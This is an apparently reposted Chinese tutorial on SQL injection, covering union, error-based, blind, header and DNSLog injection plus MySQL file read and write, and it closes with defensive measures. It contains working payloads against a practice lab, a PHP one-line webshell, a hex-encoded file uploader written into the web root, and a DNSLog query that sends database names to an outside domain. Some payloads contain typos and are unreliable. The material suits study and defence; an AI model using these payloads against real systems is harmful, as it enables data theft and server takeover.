SQL注入详解(全网最全,万字长文)

news2024/11/25 13:26:04

漏洞原因

一些概念:

SQL:用于数据库中的标准数据查询语言。

web分为前端和后端,前端负责进行展示,后端负责处理来自前端的请求并提供前端展示的资源。

而数据库就是存储资源的地方。

而服务器获取数据的方法就是使用SQL语句进行查询获取。

SQL注入:所谓的sql注入就是通过某种方式将恶意的sql代码添加到输入参数中,然后传递到sql服务器使其解析并执行的一种攻击手法

SQL可分为平台层注入代码层注入

平台层注入:由于不安全的数据库配置或数据库平台的漏洞导致。

代码层注入:程序员对输入没有细致地过滤,从而执行了非法地数据查询。

原因:在前后端数据的交互中,前端的数据传到后台处理时,没有做严格的判断,导致其传入的数据拼接到SQL语句中,被当成SQL语句的一部分执行,从而导致数据库受损,信息丢失。

总结版:后台服务器接收相关参数未经过过滤直接带入数据库查询。

例子:

比如这是一条前端URL:https://blog.csdn.net/aboutus.php?id=1
其后台sql语句:$sql=“SELECT 123 FROM abc WHERE id='1 '"

这条语句是采用拼接方式去对数据库内容进行查询的,而且并未对用户在前端输入的内容做过滤,并且用户对id这个参数可控,本来程序员设计这条查询语句是希望通过它去快速查询数据库中abc表的某个内容并且回显到前端页面来的,但是攻击者通过单引号’ 闭合数据库查询语句,并且可以构造这样的恶意url:https://blog.csdn.net/aboutus.php?id=-1 ’ select password from admin#去查询admin 用户的密码,而非查询预先程序员所设计好的数据内容。

其中:url中?代表传值的意思,id代表变量,等号代表变量的值。

浏览器通常使用 ? 来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的,因此URL中含有?说明就是使用GET方法传递参数。POST型注入和Cookie注入需要插件和工具才可进行。

过程

常见的注入方式:

参数类型分类:

数字型、字符型

注入手法分类:

联合查询注入、报错注入、基于布尔的盲注、基于时间的盲注、HTTP头注入、宽字节注入、堆叠查询、二阶注入。

数字型:

当输入的参数为整形时,若存在注入漏洞,则是数字型注入。

如:https://blog.csdn.net/aboutus.php?id=1

此时后台语句:$sql=“SELECT 123 FROM abc WHERE id='1 '"

检测方法:URL输入 and 1=1 / and 1=2 报错则说明有注入

字符型

当输入参数为字符串时,称为字符型注入。

它与数字型的区别:数字型不需要单引号来闭合,而字符串需要单引号来闭合。

例:https://blog.csdn.net/aboutus.php?id=1’

此时后台语句:$sql=“SELECT 123 FROM abc WHERE id='1 ’ ’ "

此时多出了一个单引号,破坏了原本的SQL语句结构,数据库无法处理,于是会报错,证明这条语句成功被带进数据库查询,存在字符型注入。

此时通过 --+把后面的单引号注释掉,SQL语句也会形成闭合。

所以我们可以这样:

?id = 1’ 攻击语句 --+

传入页面就变成了

select user from database where id = ‘1’ 攻击语句 – ’

–+:起注释作用,将后面的语句注释掉,在url中+相当于空格,–是注释符号,单行注释,之所以要加+号是因为–与单引号连在一起无法起注释作用因此必须把它们隔开

联合查询注入

联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化。

  • 页面观察

输入id=1和id=2,若页面中值有变化,说明输入与数据库有交互

  • 注入点判断

直接输入?id=1’若有报错则存在注入,开始判断可以从哪里注入,?id=2’1=2–+页面显示不正常,说明此处存在SQL注入,注入点在引号。

接下来开始使用SQL语句进行攻击。

  • 使用order by判断当前表的字段个数

例:?id=1 order by n --+

若n超过当前表的列数,就会报错,说明表中只有n-1列

  • 判断显示位

判断显示位时,要使用 ?id=-1 或者改为0 让前面的select语句查询为空错误,然后采用后面的select语句去查询:

?id=-1’ union select 1,2,3 --+

观察页面在哪里回显我们的输入,就可以用那个地方测试接下的语句。

  • 爆数据库的名字

?id=1’ union select 1,database(),3 --+

在之前回显2的地方会回显database数据库的名字。

  • 爆数据库中的表

?id=1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

数据库语句懒得解释了。

  • 爆表中的字段

?id=1’ union select 1,group_concat(column_name),3 from information_schema.column where table_schema=’爆出来的数据库名‘ and table_name=‘爆出来的表名’ --+

  • 爆相应字段的所有数据

?id=-1’ union select 1,group_concat(id,’–‘,username,’–',password),3 from users --+

报错注入

含义:就是在mysql中使用指定函数来制造报错,查询的时候加一些格式错误的信息,它会提示你格式错误,可以在中间加入一些其他信息,比如select database(),报错信息后面也会出现数据库信息.

报错注入:利用数据库的报错信息得到数据库的内容。因此需要构造语句让数据库报错。

三种报错注入的方法:

  • group by 重复健冲
and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.table group by x)a) --+
  • extractvalue()函数
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+//获取数据库名字

extractvalue(xml_frag,xpath_expr);

函数接受两个参数,第一个为XML标记内容,也就是查询的内容,第二个为XPATH路径,也就是查询的路径。

如果没有匹配的内容,不管出于何种原因,只要路径有效并且查询的内容由正确嵌套和关闭的元素组成,返回空字符串。

但如果路径写入错误格式,就会报错并且返回我们写入的非法内容。

  • updatexml()函数
?id=1' and updatexml(1,conncat('^',(需要查询的内容),'^')1) --+

updatexml(xml_target,xpath_expr,new_xml);

此函数将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml,然后返回更改的XML。

xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。

所有三个参数都应该是字符串。与extractvalue()类似,如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。

  • floor()函数

floor(x),返回小于或等于x的最大整数。

回显注入

回显注入:利用注入漏洞可以改变页面返回数据。

基于布尔的盲注

布尔盲注:即在页面不显示数据,只显示对错,此时我们输入的语句让页面呈现两种状态,相当于true和false,根据这两种状态判断我们输入的语句是否查询成功。

因此需要构造判断语句,根据页面是否回显证实猜想。

一般用到的函数:

ascii()、 substr()、length()、exists()、concat()等。

**substr(strings|express,m,[n])**函数:

strings|express :被截取的字符串或字符串表达式

m 从第m个字符开始截取

n 截取后字符串长度为n

concat()函数:concat ()方法用于连接两个或多个数组。用于输出在页面中。

步骤:

  • 判断数据库类型

数据库可能的类型:

MySQL、 access、 SQL sever 、information_schema.tables、msysobjects、sysobjects

  • 判断数据库名(数据库名长度、每个ASCII值)
  • 判断库中的表名(表的个数、每个表名的长度和表名的ASCII)
//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
 
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
 
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值               
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
  • 判断表中的字段名(字段个数、每个字段名长度、字段名的ASCII值)
  • 爆字段中的数据(字段中的数据长度、数据的ASCII)
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
 
2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........

基于时间的盲注

时间注入:通过返回时间的长短判断。

如:获取第一个字符的ascii码,判断是否大于115,不成立延时五秒返回。

补充:

sleep(5)的意思是延迟五秒。

if(expr1,expr2,expr3) 若expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。

例:

?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+

此处就是判断数据库名字的第二个字母。

用法类似布尔盲注。

HTTP头注入

常见的SQL注入一般是通过请求参数或是表单进行注入,而HTTP头注入是通过HTTP协议头部字段值进行注入。

img

条件:

  1. 能够对请求头信息进行修改
  2. 修改的请求头信息能带入数据库进行查询
  3. 数据库没有对输入的请求信息做过滤
  • user-Agent注入
  • cookie注入
  • Referer注入
  • X-Forwarded-For注入
  • 宽字节注入

DNSLog注入

前置知识:

  1. 什么是dnslog?

dns服务主要是域名解析服务器将域名转换成ip时,会生成一个日志,主要记录:什么时候请求解析,什么域名,映射出什么ip;

但一般来说是看不到解析日志的,但有开放的平台:dnslog.cn

  1. UNC:

UNC全名:universal naming convention,通用命名规则。其实是网络上的资源的格式,在Windows里使用。

  1. mysql读写函数:

    (mysql可以读写文件的。)

  2. 配置:

secure_file_priv的配置值分三种——

指定文件夹:读写导入导出只能发生在指定文件夹

不设置:不允许执行

null:无限制

  1. 读取文件过程:

读文件:LOAD_FILE()

限制:只能本机的文件且文件有读取权限,且字节数小于max_allowed_packet

判断文件有无读取权限:
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限
如果返回错误,应该是管理员给数据库账户降权。
如果文件不存在或者不能被读出,函数返回空。在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators 才能访问的文件,users 就别想 load_file 出来。

用法:select LOAD_FILE(‘E:\in.txt’);

两个难点:

  1. 绝对的物理路径
  2. 构造有效的畸形语句(报错出绝对路径)

在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露

WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务

器的安全将受到严重的威胁。

常用路径:http://www.cnblogs.com/lcamry/p/5729087.html

读取示例:

image-20221016172321397

  1. 将文件导入进数据库:

LOAD DATA INFILE语句用于高速从一个文本文件中读取行并装入一个表中。文件名称必须为一个文字字符串。

示例:

load data infile '/temp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

含义:将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是

每一项数据之间的分隔符,lines terminated by 是行的结尾符。

注:当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑

/tmp 等文件夹。

  1. 导入到文件

格式:SELECT … INTO OUTFILE ‘file_name’

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE

权限,才能使用此语法。file_name 不能是一个已经存在的文件。

两种利用形式:

  • 直接将select内容导入到文件中
select ... into outfile "c:\\phpnow\\htdocs\\test.php"
/*此处的...可以是一个函数如version()也可以是一句话如:<?php @eval($_post["111"]) ?>,或者其他内容
  • 修改文件结尾
select version() into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16

解释:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php’的意思是将内容输入到outfile中。
LINES TERMINATED BY则是into outfile的参数,意思是行结尾的时候用by后面的内容,通常的一般为‘/r/n’,此处我们将by后的内容修改为后面的16进制的文件。16 进制可以为一句话或者其他任何的代码,可自行构造。

例如:

http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -

在 sqlmap 中 os-shell 采取的就是这样的方式,具体可参考 os-shell 分析文章:http://www.cnblogs.com/lcamry/p/5505110.html

DNSlog注入:

注入流程:

  1. 把select LOAD_FILE()注入到数据库访问日志文件
  2. UNC构建DNS服务器地址(其实就是服务器子域名),假装访问文件,产生DNSLog
select load_file('aaa.yourid.dnslog.cn/byh');四个斜杠其实本来只有两个,还有两个是防止转义,/byh不能缺少,不然不是一个标准的路径
  1. 把子域名替换成函数或者查询SQL
select if((select load_file(concat('',database(),'yourid.dnslog.cn/byh'))),1,0);#其实就是把aaa换成了database()

最后我们使用的平台就会显示解析日志,在日志里就能看到查询的内容。

危害

  • 数据库信息泄露:用户隐私信息泄露
  • 网页篡改:通过操纵数据库对网页进行篡改
  • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账户被篡改
  • 服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统
  • 破环硬盘数据,瘫痪全系统

防范

SQL漏洞修复和防范方法:

1、普通用户与系统管理员用户的权限要有严格的区分

2、 预编译,如使用参数化语句和绑定变量。

3、 加强对用户输入的验证,识别恶意内容,过滤掉某些危险语句。

4、 多使用SQL Server数据库自带的安全参数。

5、 转义,把用户的输入当成文本以及用斜杠来转义

6、数据库异常信息隐藏

6、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。

7、设置陷阱账号:

设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很象管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。

8、防火墙,限制同IP时间、禁IP访问、黑名单

9、对密码之类的信息进行加密

10.禁用某些参数,如secure file priv

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/526083.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android Studio App开发中数据库SQLite的解析及实战使用(包括创建数据库,增删改查,记住密码等 附源码必看)

运行有问题或需要源码请点赞关注收藏后评论区留言~~~ SQLite简介 SQLite是一种小巧的嵌入式数据库&#xff0c;使用方便&#xff0c;开发简单&#xff0c;如同mysql&#xff0c;oracle那样&#xff0c;SQLite也采用SQL语句管理数据&#xff0c;由于它属于轻型数据库&#xff0…

【网络】- TCP/IP四层(五层)协议 - 数据链路层

一、概述 TCP/IP 在最初定义时&#xff0c;是一个四层的体系结构&#xff0c;包括应用层、传输层、网络层、网络接口层。由于最下面的网络接口层并没有什么具有内容。因此&#xff0c;在学习计算机网络原理时&#xff0c;往往采用折中的办法&#xff0c;综合了 OSI 和 TCP/IP 的…

数据结构与算法----详解二叉树的遍历(迭代、递归)

文章目录 实现二叉树的类前序遍历中序遍历后序遍历层次遍历总结 ❤️ 作者简介&#xff1a;大家好我是小鱼干儿♛是一个热爱编程、热爱算法的大三学生&#xff0c;蓝桥杯国赛二等奖获得者&#x1f41f; 个人主页 &#xff1a;https://blog.csdn.net/qq_52007481⭐ 个人社区&…

微信小程序跳转微信内置浏览器

最近遇到一个需求&#xff0c;需要微信小程序跳转到微信内置浏览器&#xff0c;但是官网并没有给出相关文档。查阅了大量资料&#xff0c;发现有两种实现方式。 1、通过微信公众号文章实现 小程序可以使用web-view打开关联的公众号文章&#xff0c;公众号文章可以在阅读全文放…

macOS Ventura 13.3 (22E252) 正式版 ISO、DMG镜像下载

macOS Ventura 版本历史 Release: macOS Ventura 13.3 (22E252), 2023-03-27macOS Ventura 13.2.1 (22D68), 2023-02-18macOS Ventura 13.2 (22D49), 2023-01-23macOS Ventura 13.1 (22C65), 2022-11-13macOS Ventura 13.0.1 (22A400), 2022-11-09macOS Ventura 13.0 (22A380…

关于结构体初始化的自我小结

前段时间在一个项目中使用到结构体数组来存储产品不同型号的参数&#xff0c;使程序通用化&#xff0c;便于测试和快速生产。由于之前很少使用结构体数组&#xff0c;在初始化时遇到了一点小阻碍&#xff0c;于是便想到对于结构体和其数组的初始化操作做一个小总结&#xff1a;…

前端笔试常考设计模式,操作系统,数据结构,ACM模板,经典算法,正则表达式,常用方法

考试时允许使用草稿纸&#xff0c;请提前准备纸笔。考试过程中允许上厕所等短暂离开&#xff0c;但请控制离开时间 笔试得分60%一般通过&#xff0c;面试答对80%才能通过 合集&#xff1a;2023年最全前端面试题考点HTML5CSS3JSVue3React18八股文手写项目笔试_参宿7的博客-CSD…

Microsoft Visual Studio 2019正式版离线安装包下载

原文地址&#xff1a;https://www.bitecho.net/microsoft-visual-studio-2019.html#respond Visual Studio&#xff08;简称VS&#xff09;是微软公司的开发工具包系列产品&#xff0c;包括了整个软件生命周期中所需要的大部分工具&#xff0c;如UML工具、代码管控工具、集成开…

DIY信号发生器:运放实现三角波、方波发生器(详细参数说明)+multisim仿真

前言 信号发生器是电子工程师最常用的几个仪器之一吧&#xff0c;三角波和方波是最常用的波形&#xff0c;在之前的文章中&#xff0c;我们已经介绍过RC延迟电路&#xff0c;今天我就教大家通过RC延迟和运放来实现三角波和方波。 仿真软件版本 本次介绍的电路是通过multisim…

kafka如何保证消息不丢失?半分钟的答案和半个小时的答案有点不一样。

文章目录 一、Kafka在哪些场景下有丢消息的可能&#xff1f;二、面试流经典答法三、为什么金融场景没人会用Kafka&#xff1f;总结 ​ kafka如何保证消息不丢失&#xff1f; 这是面试最常问到的问题。但是其实这是一个最体现综合实力的开放性题目。把这问题真正弄明白&#xf…

uni - app

uni-app 使用vue的语法&#xff0c;vue指令 小程序的标签和 API <template><view class"content"><image class"logo" src"/static/logo.png"></image><view class"text-area"><text class"t…

期末作业C#实现学生宿舍管理系统

??开发背景 完整代码下载地址&#xff1a;点我下载 优化移步&#xff1a; 《c#中在datagridview的表格动态增加一个按钮方法》 《C#实现多窗口切换&#xff1a;Panel详细教程&#xff08;亲测&#xff09;》 文章还在更新&#xff0c;上次更新时间2022/06/20 20:49 由于快期…

unapp微信小程序转发分享、携带参数

一、第一种方式&#xff1a; // 开启小程序原生右上角分享按钮uni.showShareMenu({// https://developers.weixin.qq.com/miniprogram/dev/framework/open-ability/share.htmlwithShareTicket: true,menus: [shareAppMessage, shareTimeline]//开启转发好友和转发朋友圈按钮});…

最详细python安装库的方法(以安装pygame库为例)

文章目录 前言 &#x1f680;&#x1f680; python安装库方法大全&#xff08;以安装pygame库为例&#xff09; &#x1f680;方法一、在pycharm内部直接安装【最简单的方法&#xff08;直接上图&#xff09;】 &#x1f680;方法二、&#xff08;在终端安装库&#xff09;…

Unity碰撞检测的必要条件

Unity中有两个独立的物理引擎&#xff0c;一个用于3D物理系统&#xff0c;一个用于2D物理系统。两个引擎是使用不同的组件实现的。因此BoxCollider和Rigidbody一起使用&#xff0c;代码中用OnTriggerEnter才能检测到触发;BoxCollider2D和Rigidbody2D一起使用&#xff0c;代码中…

(附源码)基于springboot考试系统 毕业设计 191015

基于springboot考试系统 摘 要 信息化社会内需要与之针对性的信息获取途径&#xff0c;但是途径的扩展基本上为人们所努力的方向&#xff0c;由于站在的角度存在偏差&#xff0c;人们经常能够获得不同类型信息&#xff0c;这也是技术最为难以攻克的课题。针对在线考试等问题…

49天精通Java,第29天,Java内部类、java内部类的作用

目录 一、为什么需要内部类?二、内部类分为四种三、成员内部类1、什么是成员内部类2、代码实例3、成员内部类进阶代码实例4、控制台显示5、外部类访问内部类四、局部内部类五、匿名内部类1、匿名内部类简介2、代码实例3、控制台输出4、访问权限六、静态内部类七、内部类的使用…

【进阶C语言】内存函数(详解)

前言 上一期讲的函数都是和字符串相关的&#xff0c;但是我们在操作数据的时候&#xff0c;不仅仅是操作字符串的数据&#xff0c;还得需要内存函数的应用 内存函数的应用 1. memcpy1.1 memcpy的介绍1.2 memcpy的使用1.3 模拟实现memcpy库函数1.4 我想在1&#xff0c;2后面打印…

Ubuntu开启SSH免密登录

Ubuntu开启SSH免密登录 要实现SSH免密登录&#xff0c;首先需要准备一组公钥和私钥。将公钥放到服务器上&#xff0c;将私钥放到客户机上。当客户机连接服务器时&#xff0c;服务器会根据自身的公钥校验客户机的私钥&#xff0c;如果校验通过则允许连接。 一、创建密钥 在客…

(Linux)Centos7.*版本安装配置Java环境、Tomcat、Nginx并打包部署SSM框架web系统

目录 一、准备软件与安装包 (一)、必须的软件 1、点击下载Xshell 2、点击下载FileZilla (二)、准备安装包 1、点击下载JDK1.8Linux版本 2、点击下载Nginx 3、点击下载Tomcat 二、关于FileZilla软件的使用说明 (一)、FileZilla软件的打开和说明 (二)、配置服务器地…